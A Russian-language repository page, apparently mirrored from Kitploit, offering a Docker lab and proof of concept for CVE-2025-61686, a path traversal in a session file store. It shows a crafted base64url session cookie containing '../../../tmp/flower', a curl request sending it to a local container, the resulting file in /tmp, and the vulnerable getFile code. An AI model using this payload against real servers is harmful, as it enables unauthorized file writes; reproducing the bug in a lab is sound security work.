CVE-2025-61686_docker — dockerfile и poc для воспроизведения CVE-2025-61686 | Kitploit

Поделиться

CVE-2025-61686_docker

Запуск

сборка

docker-compose up --build

запуск

docker-compose up

Процесс воспроизведения

Создайте сессию, удовлетворяющую условиям path traversal

└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg

Вставьте созданную сессию в Cookie и отправьте запрос

└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'

Проверка

root@de14139fdebf:/app# ls /tmp
flower

Причина уязвимости

export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};